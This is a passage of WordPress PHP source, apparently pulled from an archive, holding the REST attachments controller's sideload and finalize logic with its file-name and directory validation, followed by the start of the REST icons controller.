Attachment ID. * @return int|null Attachment file size in bytes, or null if not available. * @phpstan-return non-negative-int|null */ protected function get_attachment_filesize( int $attachment_id ): ?int { $meta = wp_get_attachment_metadata( $attachment_id ); if ( isset( $meta['filesize'] ) && is_numeric( $meta['filesize'] ) && $meta['filesize'] > 0 ) { return (int) $meta['filesize']; } $original_path = wp_get_original_image_path( $attachment_id ); $attached_file = $original_path ? $original_path : get_attached_file( $attachment_id ); if ( is_string( $attached_file ) && is_readable( $attached_file ) ) { return wp_filesize( $attached_file ); } return null; } /** * Checks if a given request has access to sideload a file. * * Sideloading a file for an existing attachment * requires both update and create permissions. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function sideload_item_permissions_check( $request ) { return $this->edit_media_item_permissions_check( $request ); } /** * Validates an image size name, or an array of names sharing a single file. * * Shared by the sideload endpoint, which names the size a file is produced * for, and the finalize endpoint, which names the size each submitted entry * is stored under. Both need the same set, and finalize accepts a payload of * its own rather than one this class produced, so leaving it unconstrained * there would let a submission write an arbitrary key into the metadata * 'sizes' array or route a file into a branch it was never produced for. * * @since 7.1.0 * * @param mixed $value The image size name, or an array of names. * @param string $param Parameter name, used in the error messages. * @return true|WP_Error True when every name is valid, WP_Error otherwise. */ private static function validate_image_size_names( $value, string $param ) { $special_sizes = self::get_special_image_sizes(); $regular_sizes = array_values( array_diff( array_merge( array_keys( wp_get_registered_image_subsizes() ), // Not a registered sub-size, but stored as an ordinary // entry in the metadata 'sizes' array (PDF thumbnails). array( 'full' ) ), $special_sizes ) ); if ( is_string( $value ) ) { $items = array( $value ); $valid_sizes = array_merge( $regular_sizes, $special_sizes ); } elseif ( is_array( $value ) ) { /** * An array registers one sideloaded file under several size names, * which only makes sense for regular sub-sizes: each special size * names a single file with its own handling in * {@see self::sideload_item()} and its own metadata key in * {@see self::finalize_item()}. Rejecting them here is what lets the * array branches in both methods treat an array as regular sizes. */ $items = $value; $valid_sizes = $regular_sizes; } else { return new WP_Error( 'rest_invalid_type', /* translators: %s: Parameter name. */ sprintf( __( '%s must be a string or an array of strings.' ), $param ) ); } foreach ( $items as $item ) { if ( ! in_array( $item, $valid_sizes, true ) ) { return new WP_Error( 'rest_not_in_enum', /* translators: %s: Parameter name. */ sprintf( __( '%s contains an invalid image size.' ), $param ) ); } } return true; } /** * Returns the image size names which name a single file rather than a sub-size. * * Each of these is handled on its own in {@see self::sideload_item()} and stored * under its own key by {@see self::finalize_item()}, so unlike a regular * sub-size none of them may appear in an array of names sharing one file. * * @since 7.1.0 * * @return string[] Special image size names. * * @phpstan-return non-empty-list */ private static function get_special_image_sizes(): array { return array( 'original', 'scaled', // Source-format original (e.g. the HEIC kept alongside its JPEG derivative). self::IMAGE_SIZE_SOURCE_ORIGINAL, // Converted-video companions for an animated GIF (the MP4/WebM and its poster). 'animated_video', 'animated_video_poster', ); } /** * Validates that uploaded image dimensions are appropriate for the specified image size. * * @since 7.1.0 * * @param int $width Uploaded image width. * @param int $height Uploaded image height. * @param string $image_size The target image size name. * @param int $attachment_id The attachment ID. * @return true|WP_Error True if valid, WP_Error if invalid. */ private function validate_image_dimensions( int $width, int $height, string $image_size, int $attachment_id ) { // All image sizes require positive dimensions. if ( $width <= 0 || $height <= 0 ) { return new WP_Error( 'rest_upload_invalid_dimensions', __( 'Uploaded image must have positive dimensions.' ), array( 'status' => 400 ) ); } /* * 'original' size: the full-size image that replaces the main file (see * sideload_item()/finalize_item()). The endpoint expects any EXIF * orientation to be applied to the image already, which can swap width * and height, so the dimensions must match the stored dimensions or be * their transpose. */ if ( 'original' === $image_size ) { $metadata = wp_get_attachment_metadata( $attachment_id, true ); if ( is_array( $metadata ) && isset( $metadata['width'], $metadata['height'] ) ) { $expected_width = (int) $metadata['width']; $expected_height = (int) $metadata['height']; $matches_dimensions = $width === $expected_width && $height === $expected_height; $transposes_dimensions = $width === $expected_height && $height === $expected_width; if ( ! $matches_dimensions && ! $transposes_dimensions ) { return new WP_Error( 'rest_upload_dimension_mismatch', sprintf( /* translators: 1: Actual width, 2: actual height, 3: expected width, 4: expected height. */ __( 'Uploaded image dimensions (%1$dx%2$d) do not match original image dimensions (%3$dx%4$d).' ), $width, $height, $expected_width, $expected_height ), array( 'status' => 400 ) ); } } return true; } // 'full' size (PDF thumbnails) and 'scaled': no further constraints. if ( in_array( $image_size, array( 'full', 'scaled' ), true ) ) { return true; } /* * 'animated_video_poster' companion: a static poster image for the * converted video. It is a real image (so it has positive dimensions) * but is not a registered sub-size, so it has no dimension constraint. */ if ( 'animated_video_poster' === $image_size ) { return true; } // Regular image sizes: validate against registered size constraints. $registered_sizes = wp_get_registered_image_subsizes(); if ( ! isset( $registered_sizes[ $image_size ] ) ) { return new WP_Error( 'rest_upload_unknown_size', __( 'Unknown image size.' ), array( 'status' => 400 ) ); } $size_data = $registered_sizes[ $image_size ]; $max_width = (int) $size_data['width']; $max_height = (int) $size_data['height']; // Validate dimensions don't exceed the registered size maximums. // Allow 1px tolerance for rounding differences. $tolerance = 1; if ( $this->dimension_exceeds_max( $width, $max_width, $tolerance ) ) { return new WP_Error( 'rest_upload_dimension_mismatch', sprintf( /* translators: 1: Image size name, 2: maximum width, 3: actual width. */ __( 'Uploaded image width (%3$d) exceeds maximum for "%1$s" size (%2$d).' ), $image_size, $max_width, $width ), array( 'status' => 400 ) ); } if ( $this->dimension_exceeds_max( $height, $max_height, $tolerance ) ) { return new WP_Error( 'rest_upload_dimension_mismatch', sprintf( /* translators: 1: Image size name, 2: maximum height, 3: actual height. */ __( 'Uploaded image height (%3$d) exceeds maximum for "%1$s" size (%2$d).' ), $image_size, $max_height, $height ), array( 'status' => 400 ) ); } return true; } /** * Checks whether a dimension exceeds the maximum allowed value. * * A maximum of zero means the dimension is unconstrained. * * @since 7.1.0 * * @param int $value The actual dimension in pixels. * @param int $max The maximum allowed dimension in pixels. Zero means no constraint. * @param int $tolerance Pixel tolerance allowed for rounding differences. * @return bool True if the value exceeds the maximum plus tolerance. */ private function dimension_exceeds_max( int $value, int $max, int $tolerance ): bool { return $max > 0 && $value > $max + $tolerance; } /** * Side-loads a media file without creating a new attachment. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function sideload_item( WP_REST_Request $request ) { $attachment_id = (int) $request['id']; $post = $this->get_post( $attachment_id ); if ( is_wp_error( $post ) ) { return $post; } if ( ! wp_attachment_is_image( $post ) && ! wp_attachment_is( 'pdf', $post ) ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID. Only images and PDFs can be sideloaded.' ), array( 'status' => 400 ) ); } /* * Sideloaded files are placed in the same directory as the attachment * they extend, because the file names produced here are later resolved * against that directory. An attachment stored outside the uploads * directory has no such directory to use, so there is nowhere the names * this would produce could resolve. */ $attached_file = get_attached_file( $attachment_id, true ); $subdir = is_string( $attached_file ) && '' !== $attached_file ? $this->get_attachment_upload_subdir( $attached_file ) : null; if ( ! is_string( $attached_file ) || '' === $attached_file || null === $subdir ) { return new WP_Error( 'rest_sideload_attachment_not_in_uploads', __( 'The attachment is not stored in the uploads directory, so a file cannot be sideloaded for it.' ), array( 'status' => 403 ) ); } if ( false === $request['convert_format'] ) { // Prevent image conversion as that is done client-side. add_filter( 'image_editor_output_format', '__return_empty_array', 100 ); } // Get the file via $_FILES or raw data. $files = $request->get_file_params(); $headers = $request->get_headers(); /* * wp_unique_filename() will always add numeric suffix if the name looks like a sub-size to avoid conflicts. * See /wp-includes/functions.php. * With the following filter we can work around this safeguard. */ $attachment_filename = wp_basename( $attached_file ); $filter_filename = static function ( $filename, $ext, $dir, $unique_filename_callback, $alt_filenames, $number ) use ( $attachment_filename ) { return self::filter_wp_unique_filename( $filename, $dir, $number, $attachment_filename ); }; add_filter( 'wp_unique_filename', $filter_filename, 10, 6 ); // Pin the upload to the attachment's own directory, rather than deriving // it from the parent post's date as media_handle_upload() does for a // brand new upload. See the note above where $subdir is resolved. $filter_upload_dir = static function ( $uploads ) use ( $subdir ) { if ( is_array( $uploads ) && isset( $uploads['basedir'], $uploads['baseurl'] ) && is_string( $uploads['basedir'] ) && is_string( $uploads['baseurl'] ) ) { $uploads['subdir'] = $subdir; $uploads['path'] = $uploads['basedir'] . $subdir; $uploads['url'] = $uploads['baseurl'] . $subdir; } return $uploads; }; add_filter( 'upload_dir', $filter_upload_dir, 100 ); if ( ! empty( $files ) ) { $file = $this->upload_from_file( $files, $headers ); } else { $file = $this->upload_from_data( $request->get_body(), $headers ); } remove_filter( 'wp_unique_filename', $filter_filename ); remove_filter( 'image_editor_output_format', '__return_empty_array', 100 ); remove_filter( 'upload_dir', $filter_upload_dir, 100 ); if ( is_wp_error( $file ) ) { return $file; } $type = $file['type']; $path = $file['file']; /** @var non-empty-string|non-empty-list $image_size */ $image_size = $request['image_size']; /* * Validate raster sub-sizes before storing them. Two companion sizes * are exempt because wp_getimagesize() may not be able to read the * file at all: the 'animated_video' companion of an animated GIF is a * video (MP4/WebM), and a source-format original (e.g. a HEIC or JXL * kept next to its JPEG derivative) may be an unreadable format. Their * dimensions are neither validated nor recorded. The * 'animated_video_poster' companion is a real image, so it is still * read and rejected if unreadable; validate_image_dimensions() skips * only the registered-size constraint for it. */ $skip_dimension_read = self::IMAGE_SIZE_SOURCE_ORIGINAL === $image_size || 'animated_video' === $image_size; $size = false; if ( ! $skip_dimension_read ) { /* * Read the dimensions up front. A file whose dimensions cannot be * read is corrupted or an unsupported format and must be rejected * rather than silently stored with zero dimensions. */ $size = wp_getimagesize( $path ); if ( ! $size ) { // Clean up the uploaded file. wp_delete_file( $path ); return new WP_Error( 'rest_upload_invalid_image', __( 'Could not read image dimensions. The file may be corrupted or an unsupported format.' ), array( 'status' => 400 ) ); } /* * Validate the dimensions against every size the file is being * registered under. An array $image_size shares one file among * several registered sizes, so the file has to satisfy each of * them; validating only the scalar case would let a name wrapped * in a one-element array skip the constraint entirely. */ foreach ( (array) $image_size as $size_name ) { $validation = $this->validate_image_dimensions( $size[0], $size[1], $size_name, $attachment_id ); if ( is_wp_error( $validation ) ) { // Clean up the uploaded file. wp_delete_file( $path ); return $validation; } } } // Build sub-size data to return to the client. // The client accumulates these and sends them all to the finalize // endpoint, which writes the metadata in a single operation. This // avoids the read-modify-write race that concurrent sideloads for the // same attachment would otherwise hit. $sub_size_data = array( 'image_size' => $image_size, ); if ( is_array( $image_size ) ) { /** * Multiple registered sizes share these dimensions, so a single * sideloaded file is reused for all of them. Arrays only carry * regular sub-sizes; the special keys below are always scalar * (ref. {@see self::get_special_image_sizes()}). Those never skip * the read above, so $size already holds the dimensions. */ $sub_size_data['width'] = $size ? $size[0] : 0; $sub_size_data['height'] = $size ? $size[1] : 0; $sub_size_data['file'] = wp_basename( $path ); $sub_size_data['mime_type'] = $type; $sub_size_data['filesize'] = wp_filesize( $path ); } elseif ( self::IMAGE_SIZE_SOURCE_ORIGINAL === $image_size ) { /* * Source-format original (e.g. the HEIC kept next to its JPEG * derivative). Record the filename so finalize_item can store it * under the dedicated source-image meta key. */ $sub_size_data['file'] = wp_basename( $path ); } elseif ( 'animated_video' === $image_size || 'animated_video_poster' === $image_size ) { /* * Converted-video companion of an animated GIF (the MP4/WebM or * its static first-frame poster). Record the filename so * finalize_item can store it under its dedicated meta key. */ $sub_size_data['file'] = wp_basename( $path ); } elseif ( 'scaled' === $image_size || 'original' === $image_size ) { /* * 'scaled' and 'original' both replace the attachment's main file * with the supplied image and keep the file being replaced as * `original_image`, which is the untouched upload. A 'scaled' * image is downsized and an 'original' image has any EXIF * orientation already applied. This is the same swap WordPress * makes when it scales or rotates an image on upload; see * _wp_image_meta_replace_original(). */ $sub_size_data['original_image'] = $attachment_filename; // Validate the supplied image before updating the attached file. // $size was read above: neither of these sizes skips that read. $filesize = wp_filesize( $path ); if ( ! $size || ! $filesize ) { // Clean up the uploaded file, which nothing references yet. wp_delete_file( $path ); return new WP_Error( 'rest_sideload_invalid_image', __( 'Unable to read the sideloaded image file.' ), array( 'status' => 500 ) ); } // Update the attached file to point to the supplied image. // This writes to _wp_attached_file meta, not _wp_attachment_metadata. if ( $attached_file !== $path && ! update_attached_file( $attachment_id, $path ) ) { // Clean up the uploaded file, which nothing references yet. wp_delete_file( $path ); return new WP_Error( 'rest_sideload_update_attached_file_failed', __( 'Unable to update the attached file for this attachment.' ), array( 'status' => 500 ) ); } $sub_size_data['width'] = $size[0]; $sub_size_data['height'] = $size[1]; $sub_size_data['filesize'] = $filesize; $sub_size_data['file'] = _wp_relative_upload_path( $path ); } else { // As above, $size was already read for every size reaching here. $sub_size_data['width'] = $size ? $size[0] : 0; $sub_size_data['height'] = $size ? $size[1] : 0; $sub_size_data['file'] = wp_basename( $path ); $sub_size_data['mime_type'] = $type; $sub_size_data['filesize'] = wp_filesize( $path ); } /* * Record the file names produced for this attachment so finalize can * confirm every stored sub-size was actually sideloaded here. The * values recorded are exactly the ones handed back to the client, so * finalize accepts a submission only when it echoes what was produced. */ foreach ( array( 'file', 'original_image' ) as $provenance_key ) { if ( isset( $sub_size_data[ $provenance_key ] ) && is_string( $sub_size_data[ $provenance_key ] ) && '' !== $sub_size_data[ $provenance_key ] ) { add_post_meta( $attachment_id, self::META_KEY_SIDELOAD_FILE_NAME, wp_slash( $sub_size_data[ $provenance_key ] ) ); } } return rest_ensure_response( $sub_size_data ); } /** * Filters wp_unique_filename during sideloads. * * wp_unique_filename() will always add numeric suffix if the name looks like a sub-size to avoid conflicts. * Adding this closure to the filter helps work around this safeguard. * * Example: when uploading myphoto.jpeg, WordPress normally creates myphoto-150x150.jpeg, * and when uploading myphoto-150x150.jpeg, it will be renamed to myphoto-150x150-1.jpeg * However, here it is desired not to add the suffix in order to maintain the same * naming convention as if the file was uploaded regularly. * * The suffix is only dropped when no file of that name already exists in $dir, * so this never returns a name that would overwrite one. The unsuffixed name * must also derive from the attachment's own file name, and * {@see self::sideload_item()} pins the upload to the attachment's own * directory, so any name returned here belongs to the attachment being * extended. * * @since 7.1.0 * * @link https://github.com/WordPress/wordpress-develop/blob/30954f7ac0840cfdad464928021d7f380940c347/src/wp-includes/functions.php#L2576-L2582 * * @param string $filename Unique file name. * @param string $dir Directory path. * @param int|string $number The highest number that was used to make the file name unique * or an empty string if unused. * @param string|null $attachment_filename Original attachment file name. * @return string Filtered file name. */ private static function filter_wp_unique_filename( $filename, $dir, $number, $attachment_filename ) { if ( ! is_int( $number ) || ! $attachment_filename ) { return $filename; } $ext = pathinfo( $filename, PATHINFO_EXTENSION ); $name = pathinfo( $filename, PATHINFO_FILENAME ); $orig_name = pathinfo( $attachment_filename, PATHINFO_FILENAME ); if ( ! $ext || ! $name ) { return $filename; } $matches = array(); if ( preg_match( '/(.*)-(\d+x\d+|scaled)-' . $number . '$/', $name, $matches ) ) { $filename_without_suffix = $matches[1] . '-' . $matches[2] . ".$ext"; if ( $matches[1] === $orig_name && ! file_exists( "$dir/$filename_without_suffix" ) ) { return $filename_without_suffix; } } return $filename; } /** * Validates the `sub_sizes` file names against what this attachment produced. * * The {@see self::finalize_item()} method stores the client-supplied `file` * and `original_image` values in the attachment metadata, where they are * later resolved within the attachment's upload directory and read or deleted * (for example by {@see wp_get_original_image_path()}, {@see wp_getimagesize()}, * and {@see wp_delete_attachment_files()}). * * Every file the sideload endpoint creates is recorded under * {@see self::META_KEY_SIDELOAD_FILE_NAME} as it is produced, using * server-generated names. finalize accepts a `file` or `original_image` * value only when it matches one of those recorded names (or the * attachment's own attached file, which it definitionally owns). * * @since 7.1.0 * * @param int $attachment_id The attachment being finalized. * @param array $sub_sizes Sub-size metadata collected from sideloads. * @return true|WP_Error True if every file name was produced here, WP_Error otherwise. * * @phpstan-param list $sub_sizes */ protected function validate_sub_size_provenance( int $attachment_id, array $sub_sizes ) { $allowed = $this->get_sideloaded_file_names( $attachment_id ); foreach ( $sub_sizes as $sub_size ) { foreach ( array( 'file', 'original_image' ) as $key ) { /* * Every value that was sent is checked, no matter how unlikely * a name it looks. A loose emptiness test would wave through * '0', which is a valid one-character name as far as the schema * is concerned and is stored like any other. A value the schema * types as a string but which arrives as something else is * rejected rather than skipped, so a subclass which widens the * schema cannot pass an unchecked value on to the metadata. */ if ( ! isset( $sub_size[ $key ] ) ) { continue; } if ( ! is_string( $sub_size[ $key ] ) || ! in_array( $sub_size[ $key ], $allowed, true ) ) { return new WP_Error( 'rest_invalid_sub_size_file', __( 'Invalid sub-size file name. File names must have been produced by a prior sideload for this attachment.' ), array( 'status' => 400 ) ); } } } return true; } /** * Returns the file names which a finalize request may store for an attachment. * * The set is the file names the sideload endpoint recorded as it produced * them (ref. {@see self::META_KEY_SIDELOAD_FILE_NAME}), plus the attachment's own * attached file - accepted in both its uploads-relative and basename form so * a scaled main-file pointer validates regardless of which the client * echoes - plus the names already stored in the attachment's own metadata. * * @since 7.1.0 * * @param int $attachment_id The attachment being finalized. * @param bool $include_provenance Whether to include the sideload provenance rows. * Pass false to get only the names recoverable from * the attached file and stored metadata, e.g. to decide * whether a provenance row is still needed. Default true. * @return string[] File names that may appear in the finalize submission. * * @phpstan-return list */ protected function get_sideloaded_file_names( int $attachment_id, bool $include_provenance = true ): array { $allowed = array(); if ( $include_provenance ) { foreach ( (array) get_post_meta( $attachment_id, self::META_KEY_SIDELOAD_FILE_NAME ) as $name ) { if ( is_string( $name ) && '' !== $name ) { $allowed[] = $name; } } } $attached_file = get_post_meta( $attachment_id, '_wp_attached_file', true ); if ( is_string( $attached_file ) && strlen( $attached_file ) > 0 ) { $allowed[] = $attached_file; $allowed[] = wp_basename( $attached_file ); } /* * Names already stored in this attachment's metadata passed this same * check when they were written, so accepting them again introduces * nothing new. */ $metadata = wp_get_attachment_metadata( $attachment_id, true ); if ( is_array( $metadata ) ) { $stored = array( $metadata['file'] ?? null, $metadata['original_image'] ?? null, $metadata[ self::META_KEY_SOURCE_IMAGE ] ?? null, $metadata['animated_video'] ?? null, $metadata['animated_video_poster'] ?? null, ); if ( ! empty( $metadata['sizes'] ) && is_array( $metadata['sizes'] ) ) { foreach ( $metadata['sizes'] as $size ) { $stored[] = is_array( $size ) ? ( $size['file'] ?? null ) : null; } } foreach ( $stored as $name ) { if ( is_string( $name ) && '' !== $name ) { $allowed[] = $name; $allowed[] = wp_basename( $name ); } } } return array_values( array_unique( $allowed ) ); } /** * Returns the uploads subdirectory an attachment is stored in. * * Used to place a sideloaded file alongside the attachment it extends. The * result is concatenated into a filesystem path by the caller, so it is * returned only when the attachment resolves inside the uploads directory * and the stored path is well formed. * * @since 7.1.0 * * @param string $attached_file Absolute path to the attached file. * @return string|null Subdirectory beginning with a slash, an empty string when the * attachment sits in the base directory, or null when the * attachment is not inside the uploads directory. * * @phpstan-param non-empty-string $attached_file */ protected function get_attachment_upload_subdir( string $attached_file ): ?string { $uploads = wp_get_upload_dir(); if ( empty( $uploads['basedir'] ) ) { return null; } $basedir = untrailingslashit( wp_normalize_path( $uploads['basedir'] ) ); $file_dir = wp_normalize_path( dirname( $attached_file ) ); /* * The attachment's directory must be the uploads base directory itself * or a directory inside it. The trailing slash in the prefix comparison * keeps a sibling directory that merely shares the prefix (for example * 'uploads-elsewhere' next to 'uploads') from matching. */ if ( $file_dir !== $basedir && ! str_starts_with( $file_dir, trailingslashit( $basedir ) ) ) { return null; } $subdir = (string) substr( $file_dir, strlen( $basedir ) ); // A prefix match alone does not rule out a path that climbs back out. if ( in_array( '..', explode( '/', $subdir ), true ) ) { return null; } return $subdir; } /** * Finalizes an attachment after client-side media processing. * * Applies the sub-size metadata collected from sideload responses in a * single metadata update, then triggers the 'wp_generate_attachment_metadata' * filter so that server-side plugins can process the attachment after all * client-side operations (upload, thumbnail generation, sideloads) are * complete. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function finalize_item( WP_REST_Request $request ) { $attachment_id = (int) $request['id']; $post = $this->get_post( $attachment_id ); if ( is_wp_error( $post ) ) { return $post; } /** * Sub-size metadata collected from sideload responses. Confirm every * file name was produced by a prior sideload for this attachment before * storing it, so a client cannot make finalize record (and later read or * delete) another attachment's files. * * @var list $sub_sizes */ $sub_sizes = $request['sub_sizes'] ?? array(); $provenance = $this->validate_sub_size_provenance( $attachment_id, $sub_sizes ); if ( is_wp_error( $provenance ) ) { return $provenance; } $metadata = wp_get_attachment_metadata( $attachment_id ); if ( ! is_array( $metadata ) ) { $metadata = array(); } // Apply all sub-size metadata collected from sideload responses. foreach ( $sub_sizes as $sub_size ) { $image_size = $sub_size['image_size']; // When multiple size names share identical dimensions the client // sends a single sub-size entry with an array of names. Register the // same file under each name. if ( is_array( $image_size ) ) { /* * Arrays carry regular sizes only, as the sideload endpoint * enforces. Each special size names a single file handled by one * of the branches below, so grouping one under a shared file * would write it to the wrong place; reject rather than guess. */ if ( array_intersect( $image_size, self::get_special_image_sizes() ) ) { return new WP_Error( 'rest_invalid_sub_size_name', __( 'A grouped sub-size entry may only name regular image sizes.' ), array( 'status' => 400 ) ); } // As below: `file` is not required by the schema, and a size // entry that names no file is not worth recording. if ( empty( $sub_size['file'] ) ) { continue; } $metadata['sizes'] = $metadata['sizes'] ?? array(); foreach ( $image_size as $name ) { $metadata['sizes'][ $name ] = array( 'width' => $sub_size['width'] ?? 0, 'height' => $sub_size['height'] ?? 0, 'file' => $sub_size['file'], 'mime-type' => $sub_size['mime_type'] ?? '', 'filesize' => $sub_size['filesize'] ?? 0, ); } continue; } if ( 'original' === $image_size || 'scaled' === $image_size ) { // Skip malformed entries so a bad payload cannot blank out the // main file metadata. if ( empty( $sub_size['file'] ) ) { continue; } /* * Record the supplied full-size image (from sideload_item()) as * the main file, keeping the current attached file as * `original_image`. A 'scaled' image is downsized and an * 'original' image is rotated; both have any EXIF orientation * already applied by the client. */ if ( ! empty( $sub_size['original_image'] ) ) { $metadata['original_image'] = $sub_size['original_image']; } $metadata['width'] = $sub_size['width'] ?? 0; $metadata['height'] = $sub_size['height'] ?? 0; $metadata['filesize'] = $sub_size['filesize'] ?? 0; $metadata['file'] = $sub_size['file']; /* * The supplied image has its orientation applied already, so * reset the stored value (from the upload) to 1, as * wp_create_image_subsizes() does for both its scale and rotate * paths. Otherwise exif_orientation would still report the * pre-rotation value and the client would rotate the image * again on a re-fetch. */ if ( ! empty( $metadata['image_meta']['orientation'] ) ) { $metadata['image_meta']['orientation'] = 1; } } elseif ( self::IMAGE_SIZE_SOURCE_ORIGINAL === $image_size ) { // As above: `file` is not required by the schema, and each of // these sizes is nothing but the file it names. if ( empty( $sub_size['file'] ) ) { continue; } /* * Source-format original: stored under its own meta key so the * scaled-sideload flow (which writes 'original_image') cannot * clobber it. 'original_image' keeps pointing at the * web-viewable JPEG derivative. Cleanup on attachment delete * is handled by wp_delete_attachment_files(). */ $metadata[ self::META_KEY_SOURCE_IMAGE ] = $sub_size['file']; } elseif ( 'animated_video' === $image_size ) { if ( empty( $sub_size['file'] ) ) { continue; } /* * Converted-video companion of an animated GIF. Stored under its * own meta key; 'original_image' keeps pointing at the GIF. Cleanup * on attachment delete is handled by wp_delete_attachment_files(). */ $metadata['animated_video'] = $sub_size['file']; } elseif ( 'animated_video_poster' === $image_size ) { if ( empty( $sub_size['file'] ) ) { continue; } // Static first-frame poster for the converted video. $metadata['animated_video_poster'] = $sub_size['file']; } else { if ( empty( $sub_size['file'] ) ) { continue; } $metadata['sizes'] = $metadata['sizes'] ?? array(); $metadata['sizes'][ $image_size ] = array( 'width' => $sub_size['width'] ?? 0, 'height' => $sub_size['height'] ?? 0, 'file' => $sub_size['file'], 'mime-type' => $sub_size['mime_type'] ?? '', 'filesize' => $sub_size['filesize'] ?? 0, ); } } /** This filter is documented in wp-admin/includes/image.php */ $metadata = apply_filters( 'wp_generate_attachment_metadata', $metadata, $attachment_id, 'update' ); wp_update_attachment_metadata( $attachment_id, $metadata ); /* * Drop only the provenance rows this request consumed, now that the * names are recorded in the metadata itself. A row is dropped only once * its name is recoverable from the stored metadata, so a name the * 'wp_generate_attachment_metadata' filter removed - or that a failed * update never persisted - keeps its row and the retried request the * endpoint documents as idempotent still validates. Rows for sideloads * that have not been finalized yet survive for a later call, and passing * the value makes the delete a no-op when the row is already gone, so a * retried request cleans up without error. Any rows left behind by an * abandoned upload are removed with the attachment itself. * * Retrying is idempotent for the request as it was sent. A name is only * unavailable to a retry once a later finalize has overwritten the same * size with a newly sideloaded file, which drops the earlier name from * the metadata the retry recovers it from. * * The names are collected before deleting so a request which repeats * the same name across many sub-sizes still issues one query per * distinct name. */ $recoverable = $this->get_sideloaded_file_names( $attachment_id, false ); $consumed = array(); foreach ( $sub_sizes as $sub_size ) { foreach ( array( 'file', 'original_image' ) as $key ) { // Matches the set validate_sub_size_provenance() checked, so // every name a request was allowed to store is also cleaned up. if ( isset( $sub_size[ $key ] ) && is_string( $sub_size[ $key ] ) && in_array( $sub_size[ $key ], $recoverable, true ) ) { $consumed[] = $sub_size[ $key ]; } } } foreach ( array_unique( $consumed ) as $file_name ) { delete_post_meta( $attachment_id, self::META_KEY_SIDELOAD_FILE_NAME, wp_slash( $file_name ) ); } $response_request = new WP_REST_Request( WP_REST_Server::READABLE, rest_get_route_for_post( $attachment_id ) ); $response_request['context'] = 'edit'; if ( isset( $request['_fields'] ) ) { $response_request['_fields'] = $request['_fields']; } return $this->prepare_item_for_response( $post, $response_request ); } } PK!nU$U$"class-wp-rest-icons-controller.phpnu[namespace = 'wp/v2'; $this->rest_base = 'icons'; } /** * Registers the routes for the objects of the controller. * * @since 7.0.0 * @since 7.1.0 Added the `/icons/` collection-scoped route. */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-z0-9](?:[a-z0-9_-]*[a-z0-9])?)', array( 'args' => array( 'collection' => array( 'description' => __( 'Icon collection slug.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-z0-9](?:[a-z0-9_-]*[a-z0-9])?/[a-z0-9](?:[a-z0-9_-]*[a-z0-9])?)', array( 'args' => array( 'name' => array( 'description' => __( 'Icon name.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read icons. * * @since 7.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view the registered icons.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Checks if a given request has access to read a specific icon. * * @since 7.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $check = $this->get_items_permissions_check( $request ); if ( is_wp_error( $check ) ) { return $check; } return true; } /** * Retrieves all icons, optionally scoped to a collection. * * @since 7.0.0 * @since 7.1.0 Supports filtering by collection. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $collection = $request->get_param( 'collection' ); if ( null !== $collection && ! WP_Icon_Collections_Registry::get_instance()->is_registered( $collection ) ) { return new WP_Error( 'rest_icon_collection_not_found', sprintf( /* translators: %s: Icon collection slug. */ __( 'Icon collection not found: "%s".' ), $collection ), array( 'status' => 404 ) ); } $response = array(); $search = $request->get_param( 'search' ); $icons = WP_Icons_Registry::get_instance()->get_registered_icons( $search ); foreach ( $icons as $icon ) { if ( null !== $collection && ( ! isset( $icon['collection'] ) || $icon['collection'] !== $collection ) ) { continue; } $prepared_icon = $this->prepare_item_for_response( $icon, $request ); $response[] = $this->prepare_response_for_collection( $prepared_icon ); } return rest_ensure_response( $response ); } /** * Retrieves a specific icon. * * @since 7.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $icon = $this->get_icon( $request['name'] ); if ( is_wp_error( $icon ) ) { return $icon; } $data = $this->prepare_item_for_response( $icon, $request ); return rest_ensure_response( $data ); } /** * Retrieves a specific icon from the registry. * * @since 7.0.0 * * @param string $name Icon name. * @return array|WP_Error Icon data on success, or WP_Error object on failure. */ public function get_icon( $name ) { $registry = WP_Icons_Registry::get_instance(); $icon = $registry->get_registered_icon( $name ); if ( null === $icon ) { return new WP_Error( 'rest_icon_not_found', sprintf( // translators: %s is the name of any user-provided name __( 'Icon not found: "%s".' ), $name ), array( 'status' => 404 ) ); } return $icon; } /** * Prepare a raw icon before it gets output in a REST API response. * * @since 7.0.0 * @since 7.1.0 Added the 